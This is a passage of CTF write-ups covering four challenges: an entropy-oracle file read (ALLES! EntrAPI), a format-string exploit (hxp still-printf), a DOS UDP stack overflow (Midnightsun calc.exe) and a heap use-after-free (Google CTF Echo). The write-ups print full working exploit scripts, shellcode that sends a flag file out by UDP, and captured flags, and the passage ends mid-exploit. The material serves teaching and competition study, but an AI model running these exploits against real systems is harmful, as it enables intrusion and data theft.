RedRocket WriteUps

ALLES! CTF 2021 EntrAPI

2021-09-06T00:00:00+00:00

EntrAPI was a task of the ALLES! CTF 2021:

A very simple stegano tool that estimates the entropy of sections of a file by counting unique bytes in a range. Here's a snippet of the Dockerfile to get you started:

COPY main.js index.html flag /
RUN deno cache main.js
EXPOSE 1024
CMD deno run -A main.js

It provided an http based API taking a path to a file, a start position and an end position, and gave the number of different characters in the giving range as result.

So e.g. with a flag in the format ALLES!{....} giving path /flag with start 0 and end 5 would result in 4, as the L is used twice.

For ease of use a helper function has been defined first:

url = "https://[...]/query"
path = '/whatever/i/want'
def getent(start, stop):
    data = {'path': path, 'start': start, 'end': stop}
    ent = requests.post(url, json=data).json()['range-entropy']
    return ent

The length of the file can be acquired by setting end to start+1 and simply count up the start character until the result is 0.

Using something like the code below allowed searching for positions where new characters (that have not been used before) are appearing:

newchars = []
lastent = 0
for i in tqdm.tqdm(range(FILE_LEN)):
    ent = getent(0, i)
    if ent != lastent:
        lastent = ent
        newchars.append(i-1)
print(newchars)

Using that knowledge allows searching for repititions of those known characters (takes a while):

flag = list([0] * FILE_LEN)
mychars = list(range(1, len(newchars)+1))

for nc, ncp in enumerate(newchars):
    dummyc = mychars[nc]
    flag[ncp] = dummyc

# for every possible position in file
for i in tqdm.tqdm(range(len(flag))):
    # if position is known to be a character that has not occured before or character is already known skip to next position
    if i in newchars or flag[i] != 0:
        continue
    # for each already known character
    for c in set([x for x in flag[:i] if x != 0]):
        # get index of last known position in file/flag
        lastidx = i-(flag[:i][::-1].index(c))-1

        # get number of different characters from known character to tested character
        A = getent(lastidx, i+1)
        # get number of different characters behind known character to tested character
        B = getent(lastidx+1, i+1)

        # if those numbers match the tested character is equal to the already known character
        # mark character in flag, print current state, go back to outer loop
        if A == B:
            flag[i] = c
            print(flag)
            break

Trying this out on the flag just results in a weird mess that’s not really decodable, but thanks to the given snippet of the Dockerfile we know the main script is called main.js.

We also know that it’s using deno.

Reading a few deno examples they all start with something like import * from "https://deno.land/[...]/mod.ts";\n, import { [...] } from "https://deno.land/[...]/mod.ts";\n or import { [...], [...] } from "https://deno.land/[...]/mod.ts";\n (and some more very similar lines), so they probably all start with import followed by a space, followed by some character, and another space.

The start of the acquired map looks something like this: [1, 2, 3, 4, 5, 6, 7, 8, 7, 9, 3, 3, 10,, which perfectly matches the import at the start, including the space.

Applying a simple replacement on those characters easily reveals where the "https is since ttp is already visible. End of line can easily be found as well since the .ts" becomes obvious. From here on it’s basically just filling in all obvious replacements.

Finally we get to some code that looks like this:

router.get("/flag", async (ctx) => {
  const auth = ctx.request.headers.get('authorization') ?? '';
  const hasher = createHash("md5");
  hasher.update(auth);
  // NOTE: this is stupid and annoying. remove?
  // FIXME? crackstation.net knows this hash
  if (hasher.toString("hex") === "eX{40}55X{63}dX{64}bX{40}cX{64}a01fad1c3X{40}e45X{63}af4acX{64}5") {
    ctx.response.body = await Deno.readTextFile("flag");
  } else {
    ctx.response.status = 403;
    ctx.response.body = 'go away';
  }
});

The X{num} placeholders are bytes which have not yet been determined. They where obvisouly digits since it’s a hex string and a-f where already known. Some digits were already known e.g. from the 403 or the md5. A few more limitations could be done by looking up the version numbers of the import statements at the top of the file, which reduced digits to a few lesser possibilities.

I then simply created all possible combinations of replacements, which resulted in ~360 hashes, and tried 20 at a time on crackstation.net. After a few tries I found e7552d9b7c9a01fad1c37e452af4ac95 = gibflag.

The flag can now be optained using a simple curl https://[...]/flag -H 'Authorization: gibflag':

ALLES!{is_it_encryption_if_there's_no_key?also_a_bit_too_lossy_for_high_entropy_secrets:MRPPASQHX3b0QrMWH0WF}

The last few replacements can be made and the full main.js can be extracted:

import { Application, Router } from "https://deno.land/x/oak@v6.5.0/mod.ts";
import { bold, yellow } from "https://deno.land/std@0.87.0/fmt/colors.ts";
import { createHash } from "https://deno.land/std@0.81.0/hash/mod.ts";

const app = new Application();
const router = new Router();

router.get("/", async (ctx) => {
  ctx.response.body = await Deno.readTextFile("index.html");
});

router.get("/flag", async (ctx) => {
  const auth = ctx.request.headers.get('authorization') ?? '';
  const hasher = createHash("md5");
  hasher.update(auth);
  // NOTE: this is stupid and annoying. remove?
  // FIXME? crackstation.net knows this hash
  if (hasher.toString("hex") === "e7552d9b7c9a01fad1c37e452af4ac95") {
    ctx.response.body = await Deno.readTextFile("flag");
  } else {
    ctx.response.status = 403;
    ctx.response.body = 'go away';
  }
});

router.post("/query", async (ctx) => {
  if (!ctx.request.hasBody) {
    ctx.response.status = 400;
    return;
  }
  const body = ctx.request.body();
  if (body.type !== "json") {
    ctx.response.status = 400;
    ctx.response.body = "expected json body";
    return;
  }
  const { path, start, end } = await body.value;
  const text = await Deno.readTextFile(path);
  const charset = new Set(text.slice(start, end));
  ctx.response.type = "application/json";
  ctx.response.body = JSON.stringify({
    "range-entropy": charset.size,
  });
});

app.use(router.routes());
app.use(router.allowedMethods());

app.addEventListener("listen", ({ hostname, port }) => {
  console.log(
    bold("Start listening on ") + yellow(`${hostname}:${port}`),
  );
});

await app.listen({ hostname: "0.0.0.0", port: 1024 });

Overall an interesting challenge, showing how little information is actually required to get the contents of a file with a few known plain-text elements.

HXPCTF 2020 - still-printf

2020-12-23T00:00:00+00:00

Challenge Description

Desc

We got the following files and Source is provided. YAY

total 2020
drwx------ 2 1337 1337    4096 Dec 23 12:11 .
drwxr-xr-x 4 root root    4096 Dec 19 15:18 ..
-rw------- 1 root root    2421 Dec 20 09:48 .gdb_history
-rw-r--r-- 1 1337 1337    1410 Dec 19 05:46 Dockerfile
-rwxr-xr-x 1 1337 1337  165632 Jan  1  1970 ld-2.28.so
-rwxr-xr-x 1 1337 1337 1824496 Jan  1  1970 libc-2.28.so
-rwxr-xr-x 1 1337 1337   12336 Dec 18 15:09 still-printf
-rw-r--r-- 1 1337 1337     152 Dec 18 15:05 still-printf.c
-rwxr-xr-x 1 1337 1337   34712 Jan  1  1970 ynetd

#include <stdio.h>
#include <stdlib.h>

int main() {
        char buf[0x30];
        setbuf(stdout, NULL);
        fgets(buf, sizeof(buf), stdin);
        printf(buf);
        exit(0);
}

A simple format-string bug. But the program exits right after printf.

Here’s the checksec output of the program.

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

I dumped the stack and looked for stack pointer chains.

09:0048│   0x7ffe308bfc08 —▸ 0x7ffe308bfce8 —▸ 0x7ffe308c0894 ◂— '/root/hxpctf/still-printf/still-printf'
$15 -> $41 was the closest one that just 'perfectly' fits into the length of 0x2f bytes.

Solution

My solution includes guessing ( ( stack_address&0xfff0 ) » 4 ) 12 bit value. The possibility is 1 / 4096.

We need to make this into multiple tries to get the code execution. printf calls vfprintf internally. By overwriting the return address of printf we can make this into multiple shots. But the challenging part is the max len of input, which is 0x2f bytes, but turns out that it’s all we need to get code execution.

I knew the behaviour of vfprintf from another ctf challenge 0ctf quals - echoserver. First i overwrote the pointer at 15th offset to point it to return address of printf (guessing LSB stack address). THen we can use 41$n/hhn/hn to change the return address of printf. But the way vfprintf works is, we can not do this, %writec%15$hn%writec%41$hn. When vfprintf encounters the first positional parameter $ it copies all needed argument to an internal buffer, now if we do %41$hn to change the return address, it will fetch the original value which was there instead of the changed value. The idea is the use “%c”*offset to reach the stack pointer and then we can do %hn to do the write so that the 41th offset points to the return address of printf. Then we can use %41$n/hn/hhn to change the return address. The max input was 0x2f bytes and my payload fit exact 0x2f bytes.

Here’s the main payload

magic_number = 0x1337
payload = ('%c%p'+'%c'*8 +'%c%c%c' +f'%{ (magic_number + 1 ) - (0xd + 0x5 + 0x8 )}c'+'%hn'+f'%{ 0xdd - ( (magic_number+1)&0xff) }c'+'%41$hhn').ljust(0x2f)

Note: I use %p once in the payload to leak the a stack address.

If the bruteforce is sucessfull, later it’s just trivial, i made this into multiple shots and partial overwrite exit_got with one_gadget.

Exploit

#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from time import sleep
import random
import subprocess

# Addr
libc_leak_offset = 0x2409b
gadget1 = 0x448a3
system = 0x449c0

# Hack
def Hack():
 global io

 exe = ELF('./still-printf')
 magic_number = 0x1337
 
 # Leak stack pointer And hope for good luck.
 payload = ('%c%p'+'%c'*8 +'%c%c%c' +f'%{ (magic_number + 1 ) - (0xd + 0x5 + 0x8 )}c'+'%hn'+f'%{ 0xdd - ( (magic_number+1)&0xff) }c'+'%41$hhn').ljust(0x2f)
 print(hex(len(payload)))
 io.send(payload)

 io.recvuntil('\xd0')
 stack_leak = int(io.recvn(14),0)
 print(hex(stack_leak))

 # Leak some addresses PIE - LIBC and overwrite return of printf again to get more shots. (stack leak used here)
 payload2 = f'%{0xdd}c%11$hhn%12$p%13$p'.ljust(0x28,'A').encode() + p64(stack_leak - 0x8)[0:7]
 io.send(payload2)
 io.recvuntil('\xd0')
 pie_base = int(io.recvn(14),0) - 0x1200
 libc_leak = int(io.recvn(14),0)
 libc_base = libc_leak - libc_leak_offset
 print(hex(libc_base))
 print(hex(pie_base))

 # Get pie_address (exit_got) on stack
 payload3 = f'%{0xdd}c%11$hhn%{ ((pie_base+exe.got["exit"] )&0xffff) - 0xdd}c%10$hn'.ljust(0x20,'A').encode() + p64(stack_leak + 0x30)+p64(stack_leak - 0x8)[0:7]
 print(hex(len(payload3)))
 io.send(payload3)

 # Partial overwrite it to one_gadget
 payload4 = f'%{0xdd}c%11$hhn%{ ( (libc_base+gadget1)&0xffff ) - 0xdd}c%12$hn'.ljust(0x28,'\0').encode() + p64(stack_leak - 0x8)[0:7]
 io.send(payload4)\

 payload5 = f'%{0xdd}c%11$hhn%{ ( ( ( (libc_base+gadget1)&0xffffffff)&0xffff0000 ) >> 16 ) - 0xdd}c%10$hn'.ljust(0x20,'A').encode() + p64(pie_base+exe.got['exit']+0x2)+p64(stack_leak - 0x8)[0:7]
 io.send(payload5)
 
 # setup Gadget constraints [rsp + 0x30] == NULL and exit.
 payload6 = f'%{ (pie_base + 0x1100 )&0xffff}c%10$hn'.ljust(0x20,'\0').encode()+p64(stack_leak-0x8) + p64(0)[0:7]
 print(hex(len(payload6)))
 io.send(payload6)

for i in xrange(4096):
 try:
  #io = process('./still-printf')
  io = remote('168.119.161.224',9509)
  Hack()
  io.sendline('cat /flag*')
  data = io.recv()
  print(data)
  io.interactive()
 except:
  io.close()
  continue

MidnightsunCTF 2020 - calc.exe

2020-10-05T00:00:00+00:00

Challenge Description / Setup

During some renovations, we found an ancient computer with this VM hidden behind a wall.
We believe it is the earliest example of networked computation. (QEMU with PCNET network)

Download

So we got a DOS floppy image. The Image contained the following files:

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
1991-11-11 05:00:02 .RHS.        33430        33792  IO.SYS
1991-11-11 05:00:02 .RHS.        37394        37888  MSDOS.SYS
1991-11-11 05:00:02 ....A        47845        48128  COMMAND.COM
2020-10-01 20:13:50 ....A        32769        33280  DHCP.EXE
2020-10-01 20:13:50 ....A         6751         7168  PCNTPK.COM
2020-10-01 20:13:50 ....A        55816        56320  calc.exe
2020-10-01 20:13:50 ....A           37          512  flag.txt
2020-10-01 20:13:50 ....A           77          512  AUTOEXEC.BAT
2020-10-03 10:58:54 ....A          247          512  MTCP.CFG
1999-11-17 17:32:02 ....A            0            0  BOOT500
------------------- ----- ------------ ------------  ------------------------
2020-10-03 10:58:54             214366       218112  10 files

Autoexec would start DHCP to run a DHCP server, then the challenge “calc.exe” is executed. It turns out that mTCP was used as a TCP stack. Calc.exe would then listen on UDP port 8888 for simple equations of the format number operand number and echo the result back (via network).

First I spent some time getting QEMU and NAT working. I have no clue of networking and just followed Instructions at https://wiki.qemu.org/Documentation/Networking/NAT. Finally I ended up using the following combination:

sudo qemu-system-i386 -drive file=floppy.img,if=floppy,format=raw -m 64 -boot a -netdev tap,id=mynet0 -device pcnet,netdev=mynet0 --nographic

It probably would be way easier (and does not require root) to just forward UDP port 8888, but I did the setup before reversing, and before looking into the provided openvpn conf, where the ports would have been documented.

Server:

...
DHCP request sent, attempt 1: Offer received, Acknowledged

Good news everyone!

IPADDR = 192.168.53.76
NETMASK = 255.255.255.0
GATEWAY = 192.168.53.1
NAMESERVER = 192.168.53.1
LEASE_TIME = 3600 seconds

Settings written to 'MTCP.CFG'
Sending [1337 + 9774 = 11111]

Client:

user@KARCH ~ % nc -u 192.168.53.76 8888
1337+9774
1337 + 9774 = 11111

Reversing / Bug Hunting

I reversed the binary using Ghidra. By comparing characteristic strings in the binary and correlating them with exmaple source from the mTCP project, I could locate the mainloop at 1000:09c1. From there it was easy to locate the UDP packet handler at 1000:0afa.

decompiled handler:

void __fastcall_member udp_handler(byte *packet,char *header)

{
  void *unaff_DI;
  void *unaff_SS;
  
  parsepkt((char *)(packet + 0x2a));
  dbg_print_sending((char *)0x2b5,(void *)0x1aa8,(void *)0xbfc);
  sendUDP((uint)(packet + 0x1a),(int)header,0x200,0xbd2,unaff_SS,1);
  Buffer_free(unaff_DI);
  return;
}

the bug is an obvious stackoverflow via strcpy in the parsepkt function, a long input would result in a hang:

void __fastcall_member parsepkt(char *input)

{
  char cVar1;
  char *buffer_ptr;
  undefined2 unaff_SS;
  char buffer [20];
  
  strcpy(buffer,input);
  buffer_ptr = buffer;
  while( true ) {
    cVar1 = *buffer_ptr;
    if (cVar1 == '\0') {
      return;
    }
    if ((((cVar1 == '+') || (cVar1 == '-')) || (cVar1 == '*')) || (cVar1 == '/')) break;
    buffer_ptr = buffer_ptr + 1;
  }
  *buffer_ptr = '\0';
  buffer_ptr = buffer_ptr + 1;
  atoi(buffer);
  atoi(buffer_ptr);
  FUN_1000_3a65(0xbfc);
  return;
}

Now the presented decompiled source looks quite nice, but for this I had to teach Ghidra some new 16bit calling conventions (like microsoft 16bit fastcall it seems). This worked surprisingly easy, some existing specifications can be modified in Ghidra/Processors/x86/data/languages/x86-16.cspec. I think I did’t quite get them right, but sufficiently well to understand what’s going on. It should be AX, BX, CX, DX, ES, stack..., return values in AX, DX.

Debugging

To debug, I attached radare (r2 -a x86 -b 16 -D gdb gdb://localhost:1234) / gdb (gdb -ex "target remote localhost:1234" -ex "set architecture i8086") to qemus gdb server (add -S -s options), and placed a breakpoint at b *0x1459b. I stumbled upon some strange behaviour. The breakpoint was hit, and stepping “worked”, but somehow the IP was completely off. It turns out this is because both debuggers don’t take care of code segments. I stumbled upon some GDB script at [https://ternet.fr/gdb_real_mode.html], which allowed at least for some more comfortable single stepping in gdb. In r2, i just manually calculated addresses e.g. by s cs * 16 + eip.

Shellcode Execution

Next I found some simple retf ropgadget which allowed me to set ip and cs, so that cs:ip points to the stack (under my control). Shellcode execution :)

# bp di si cx bx ip (0x0a40 = retf) | ip cs | 4X fill | shellcode
r.send(b'+' * 24 + struct.pack(
    '<12H',
    0x1111, 0x2222, 0x3333, 0x4444, 0x5555, 0x0a40,
    0x2710, 0x202e, 0x5858, 0x5858, 0x5858, 0x5858
) + shellcode)

Shellcode

Now it is “easy”. I used the 0x21 DOS intterrupt https://www.beck-ipc.com/api_files/scxxx/dosemu.htm to open the flag file, and read the flag into memory. Next I prepared the arguments to call the already existing int8_t Udp::sendUdp( IpAddr_t host, uint16_t srcPort, uint16_t dstPort, uint16_t payloadLen, uint8_t *data, uint8_t preAlloc) function, to echo back the flag via udp. I filled out all the important arguments with static data (static ip address, 1337 src / dst port), and let wireshark listen for the resulting UDP packet. Less work for me :)

org 0
bits 16

; open flag.txt
xor ax, ax;
push ax;
push 0x7478;
push 0x742e;
push 0x6761;
push 0x6c66;
mov dx, sp;
xor ax, ax;
mov ah, 0x3d;
int 0x21;

; read file
mov cx, 0x111;
mov bx, ax;
mov dx, 0xbfc;
mov ah, 0x3f;
int 0x21;

; prepare 10.8.10.2
mov al, 10; ; dst ip
mov ah, 2;
push ax;
mov al, 10;
mov ah, 8;
push ax;
mov bp, sp;

xor ax, ax;  ; use buffer
inc ax;
push ax;

push ds; ; buffer
push 0xbd2;

push 0x201; ; length

; jump
push 0x13ab; ;cs
push 0x0b3b; ;ip

mov ax, bp;   ; ptr to 10.8.10.2
mov dx, ds;
mov cx, 1337; ; dst port
mov bx, 1337; ; src port

retf

Google CTF Quals 2020 - Echo

2020-08-30T00:00:00+00:00

Challenge overwiew

The challenge itself was an “echo service” written in C++, listening for connections on localhost. To interact with it on the remote end, it was necessary to upload a binary to the launcher service, which executed the received binary “in memory”. The echo service itself was running as root, therefore we need to pwn it to get the flag. The functionality of the service was simple:

Receive and store data in a std::string until a newline char occurred
Echo the data back

Download

The bug

The echo service is relying heavily on select for multiplexing IO. The mainloop of the service can be seen below.

int ret = select(max_fd + 1, &readset, &writeset, nullptr, nullptr);
if (ret > 0) {
    if (FD_ISSET(listen_fd, &readset)) {
        handle_new_connections(listen_fd);
    }

    for (auto it = clients.begin(), end = clients.end(); it != end; ++it) {
        ClientCtx& client = *it;
        const int fd = client.fd;

        if (FD_ISSET(fd, &readset)) {
            if (!handle_read(client)) {
                close(fd);
                it = clients.erase(it);
                continue;
            }
        } else if (FD_ISSET(fd, &writeset)) {
            if (!handle_write(client)) {
                close(fd);
                it = clients.erase(it);
                continue;
            }
        }
    }
} else if (ret < 0 && errno != EINTR) {
    err(1, "select");
}

The loop iterating through all clients is faulty. Inside the loop the client vector is being modified (by erasing clients), which invalidates all existing iterators of it and yields a new one. However, the end iterator is still being used afterwards to check if the iteration is done! This allows iterating “out of bounds” and will lead to a use-after-free condition. There is only one catch - timing needs to be correct. During one select call a connection must be closed and on another connection a read/write must occurr to work on the out of bound client elements.

As I am not very familiar with C++ internals, and couldn’t trigger the bug on the first try, I tried it by writing a simple python “fuzzer”. It would randomly open connections / send something / close connections. Source for the echo service was provided, so I compiled it with ASAN using CXXFLAGS = -fsanitize=address -O1 -g -fno-omit-frame-pointer. After a few minutes I got a nice UAF write, with controllable size and data.

=================================================================
==6435==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000090 at pc 0x5555555dd3eb bp 0x7fffffffd590 sp 0x7fffffffcd40
WRITE of size 4 at 0x604000000090 thread T0
    #0 0x5555555dd3ea in __interceptor_memcpy.part.0 (/home/user/ctf/google/echo/echo_srv+0x893ea)
    #1 0x7ffff7edb9b0 in std::char_traits<char>::copy(char*, char const*, unsigned long) /build/gcc/src/gcc-build/x86_64-pc-linux-gnu/libstdc++-v3/include/bits/char_traits.h:395:49
    #2 0x7ffff7edb9b0 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_S_copy(char*, char const*, unsigned long) /build/gcc/src/gcc-build/x86_64-pc-linux-gnu/libstdc++-v3/include/bits/basic_string.h:351:21
    #3 0x7ffff7edb9b0 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_S_copy(char*, char const*, unsigned long) /build/gcc/src/gcc-build/x86_64-pc-linux-gnu/libstdc++-v3/include/bits/basic_string.h:346:7
    #4 0x7ffff7edb9b0 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_append(char const*, unsigned long) /build/gcc/src/gcc-build/x86_64-pc-linux-gnu/libstdc++-v3/include/bits/basic_string.tcc:367:19
    #5 0x55555564e6d6 in handle_read(ClientCtx&) /home/user/ctf/google/echo/echo_srv.cc:95:21
    #6 0x55555564f25a in main /home/user/ctf/google/echo/echo_srv.cc:170:16
    #7 0x7ffff7a66151 in __libc_start_main (/usr/lib/libc.so.6+0x28151)
    #8 0x55555557551d in _start (/home/user/ctf/google/echo/echo_srv+0x2151d)

0x604000000090 is located 0 bytes inside of 33-byte region [0x604000000090,0x6040000000b1)
freed by thread T0 here:
    #0 0x5555556183a9 in free (/home/user/ctf/google/echo/echo_srv+0xc43a9)
    #1 0x55555564f63d in ClientCtx::~ClientCtx() /home/user/ctf/google/echo/echo_srv.cc:26:8
    #2 0x5555556511cb in void __gnu_cxx::new_allocator<ClientCtx>::destroy<ClientCtx>(ClientCtx*) /usr/bin/../lib64/gcc/x86_64-pc-linux-gnu/10.2.0/../../../../include/c++/10.2.0/ext/new_allocator.h:156:10
    #3 0x5555556511b8 in void std::allocator_traits<std::allocator<ClientCtx> >::destroy<ClientCtx>(std::allocator<ClientCtx>&, ClientCtx*) /usr/bin/../lib64/gcc/x86_64-pc-linux-gnu/10.2.0/../../../../include/c++/10.2.0/bits/alloc_traits.h:531:8
    #4 0x555555651a40 in std::vector<ClientCtx, std::allocator<ClientCtx> >::_M_erase(__gnu_cxx::__normal_iterator<ClientCtx*, std::vector<ClientCtx, std::allocator<ClientCtx> > >) /usr/bin/../lib64/gcc/x86_64-pc-linux-gnu/10.2.0/../../../../include/c++/10.2.0/bits/vector.tcc:177:7
    #5 0x55555564feea in std::vector<ClientCtx, std::allocator<ClientCtx> >::erase(__gnu_cxx::__normal_iterator<ClientCtx const*, std::vector<ClientCtx, std::allocator<ClientCtx> > >) /usr/bin/../lib64/gcc/x86_64-pc-linux-gnu/10.2.0/../../../../include/c++/10.2.0/bits/stl_vector.h:1431:16
    #6 0x55555564f29d in main /home/user/ctf/google/echo/echo_srv.cc:172:26
    #7 0x7ffff7a66151 in __libc_start_main (/usr/lib/libc.so.6+0x28151)

previously allocated by thread T0 here:
    #0 0x5555556186d9 in malloc (/home/user/ctf/google/echo/echo_srv+0xc46d9)
    #1 0x7ffff7e3f539 in operator new(unsigned long) /build/gcc/src/gcc/libstdc++-v3/libsupc++/new_op.cc:50:22

SUMMARY: AddressSanitizer: heap-use-after-free (/home/user/ctf/google/echo/echo_srv+0x893ea) in __interceptor_memcpy.part.0

At this point I minimized the “trigger sequence” of commands and ported it to C code (necessary later on because launcher service would expect an executable, also we get better timings). Somehow sched_yield did not work for me guaranteeing that the server processed all data, however sleeping for one millisecond with usleep would. I came up with the following UAF write reproducer, which would write into the freed c1 heap chunk:

#define yield() usleep(1000)

int conn() {
    //open connection on localhost:21337
}

int main() {
    int c1, c2;
    
    c1 = conn();
    yield();
    c2 = conn();
    write(c1, "AAAA...", 0x20);
    write(c2, "BBBB...", 0x20);
    yield();
    
    write(c2, "uafw", 4);
    close(c1);
    yield();
    
    return 0;
}

To be honest, I don’t know HOW this write can happen, it is somehow working on c2’s fd, but at the same time accesses c1’s reading buffer. I still might not fully understand C++ Vectors / Iterators internals. Will investigate this later, but during the CTF noone cares, as long as the exploitation primitive is stable, right? And as I could write into freed tcache chunks, I had a powerful primitive by corrupting tcache freelist pointers.

This is basically an arbitrary write primitive I will make heavy use of (aka tcache poisoning), and one should be familiar with it. Tcache poisoning Example

At least it was instant arbitrary write back then when the Google CTF took place, there was a new mitigation introduced recently (at least on my distro) to prevent this from happening that easily tcache/fastbin Safe-Linking.

Leaking Addresses

The echo service was compiled with ASLR enabled, so I first needed to get my hands on some addresses. At first I tried to construct a uaf read by filling up kernel buffers and timing read / close operations precisely. With no success, so another option was considered. The plan was the following:

Create sufficient connections to work with
Allocate a huge 0x10000 memory area by sending 0x10000 Bytes
Fill up holes caused by string reallocations
Create three small 0x30 sized allocations
Free one small allocation to place its address into the tcache
Trigger the bug, write one nullbyte (will partially overwrite a pointer of the next free tcache entry with two nullbytes)
Allocate overwritten tcache entry (malloc will now (most likely) return an address pointing into the huge 0x10000 chunk)
Free the entry again (because of some recently added tcache double free checks, the freed chunk will contain a tcache context pointer, aka. a pointer to the start of the heap)
Write a newline to the huge memory area, which will trigger sending it back
Read it in and search for the heap pointer

The heap state after steps 1-6 is pictured below. The freed allocation of step 5 is marked in red. Above it, the orange chunk is a part of the 0x10000 memory region. The green chunk is the uaf chunk. After triggering the bug, the tcache pointer inside the uaf chunk, which previously pointed at the red chunk, is partially overwritten with nullbytes (as shown by the blue rectangle). Note the 0x55555555d010 address in every freed chunk, it points to the tcache context and therefore the beginning of the heap.

If everything worked as expected, after step 8 one can find the following in memory. The orange chunk is the 0x10000 region, red is the allocated / freed chunk. Now I just needed to echo this data back.

As the Heap was now derandomized, next up I wanted to leak some libc addresses. To achieve this I did the following:

Trigger the bug again to create a 0x30 allocation overlapping with the header of a 0x810 allocation (already exists from previously filling up memory holes)
Free the 0x810 allocation, the free operation will overwrite parts of the 0x30 chunk. As the freed chunk is huge, it will leak unsorted bin pointers (aka pointers to a static position inside libc)
Writing a newline to the 0x30 chunk will return those leaks
Read them in and calculate libc base

The heap state after step 2 is shown below. The huge chunk (green) is freed, and doing so leaked addresses into the red 0x30 chunk, which is still under my control.

Getting RCE

With the libc address and an arbitrary write primitive at hand, the challenge is now really easy to solve. I did the following:

Trigger the bug one last time to fake a 0x30 chunk on libc.__free_hook
Overwrite the free hook with libc.system
Create a new connection and write some commands for system to execute into it
Close the connection (will free the memory and therefore call system)
Profit

I just copied the flag from /root/flag into /tmp and made it world readable. My exploit also spawns a shell when it is finished, so I could just cat the flag.

[+] Opening connection to echo.2020.ctfcompetition.com on port 1337: Done
[*] sending
[*] Switching to interactive mode
 
heapbase located at: 0x55ea3a33b010
leaked: 0 71 7f44b94dc0d0 7f44b94dc0d0
libc located at: 0x7f44b92f0000
$ cat /tmp/flag
CTF{to0_m4ny_c0nn3ct1ons_Ar3_4_Problem_5ometime5}
$ 

Final exploit

Python launch script

from pwn import *

r = remote('echo.2020.ctfcompetition.com', 1337)
f = open('sploit', 'rb').read()
r.sendafter('ELF:', p32(len(f)) + f)
r.interactive()

Exploit compiled with clang -D_GNU_SOURCE -static -O2 sploit.c -o sploit

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <string.h>
#include <arpa/inet.h>

#define OFFSET_HEAP 0x12f50
#define OFFSET_LIBC 0x1ec0d0
#define OFFSET_FREE_HOOK 0x1eeb28
#define OFFSET_SYSTEM 0x55410

#define yield() usleep(1000)

int conn() {
    int sockfd;
    struct sockaddr_in servaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        puts("socket creation failed...");
        exit(0);
    }

    bzero(&servaddr, sizeof(servaddr));

    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    servaddr.sin_port = htons(21337);

    if (connect(sockfd, (const struct sockaddr *) &servaddr, sizeof(servaddr)) != 0) {
        puts("connection with the server failed...");
        exit(0);
    }

    return sockfd;
}

void writeall(int fd, char *buf, size_t len) {
    size_t towrite = len;
    while (towrite) {
        ssize_t written = write(fd, buf, towrite);
        if (written <= 0) {
            puts("write failure");
            exit(0);
        }
        towrite -= written;
    }
}

void readall(int fd, char *buf, size_t len) {
    size_t toread = len;
    while (toread) {
        ssize_t readden = read(fd, buf, toread);
        if (readden <= 0) {
            puts("read failure");
            exit(0);
        }
        toread -= readden;
    }
}

int main() {
    unsigned i;
    int conns[16];
    char *chunk = malloc(0x10000);

    // open connections
    for (i = 0; i < 16; i++) {
        conns[i] = conn();
        yield();
    }

    // fake 0x10000 area, fill with 0x31 to bypass some tcache checks later on
    for (i = 1; i < 0x10000u / 8; i+=2) {
        ((size_t*)chunk)[i] = 0x31;
    }
    writeall(conns[0], chunk, 0x10000 - 1);
    yield();

    // fill up remaining chunks 1 to 9
    for (i = 1; i < 9; i++) {
        writeall(conns[i], chunk, 0x10000u >> i);
        yield();
    }

    // allocate 3 0x30 chunks, A chunk right behind the 0x10000 area
    write(conns[13], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
    yield();
    write(conns[14], "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20);
    write(conns[15], "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0x20);
    yield();

    // close A buffer, places pointer to it in tcache freelist head
    close(conns[13]);
    yield();

    // bug: free B, and auf write two nullbytes into free'd B memory.
    // partially overwrites tcaches next pointer pointing to A.
    write(conns[15], "\0", 1);
    close(conns[14]);
    yield();

    // allocate two 0x30 chunks, Y is likely to be placed inside the 0x10000 area
    conns[13] = conn();
    conns[14] = conn();
    write(conns[13], "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x20);
    yield();
    write(conns[14], "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY", 0x20);
    yield();

    // free Y chunk, writes heap base into 0x10000 area
    close(conns[14]);
    yield();

    // read the buffer back in by sending '\n'
    write(conns[0], "\n", 1);
    // skip the hello message, linus would insult me for writing this code
    do {
        read(conns[0], chunk, 1);
    } while(*chunk != '\n');
    readall(conns[0], chunk, 0x10000);

    // search for heap address
    size_t *leak = memmem(chunk, 0x10000, "YYYYYYYY", 8);
    if (!leak) {
        puts("heapbase not found :(");
        exit(0);
    }
    size_t heapbase = leak[-1];
    printf("heapbase located at: 0x%lx\n", heapbase);

    // shape tcache / heap so there is at least one free entry before the bug is triggered again
    close(conns[15]);
    close(conns[13]);
    yield();
    conns[13] = conn();
    yield();
    conns[14] = conn();
    yield();
    conns[15] = conn();
    write(conns[13], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
    write(conns[14], "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20);
    write(conns[15], "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0x20);
    yield();
    close(conns[13]);
    yield();

    // bug again: overwrite tcache pointer
    size_t addr = heapbase + OFFSET_HEAP;
    write(conns[15], &addr, 7);
    close(conns[14]);
    yield();

    // allocates fake chunk over filler chunk 5's header
    conns[13] = conn();
    conns[14] = conn();
    write(conns[13], "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x20);
    ((size_t*)chunk)[0] = 0;
    ((size_t*)chunk)[1] = 0x811;
    ((size_t*)chunk)[2] = 0;
    ((size_t*)chunk)[3] = 0;
    write(conns[14], chunk, 0x20);
    yield();

    // free chunk 5
    write(conns[5], "\n", 1);
    yield();

    // trigger a realloc (because heap is overlapping, this will lead to problems) and send leaked data out
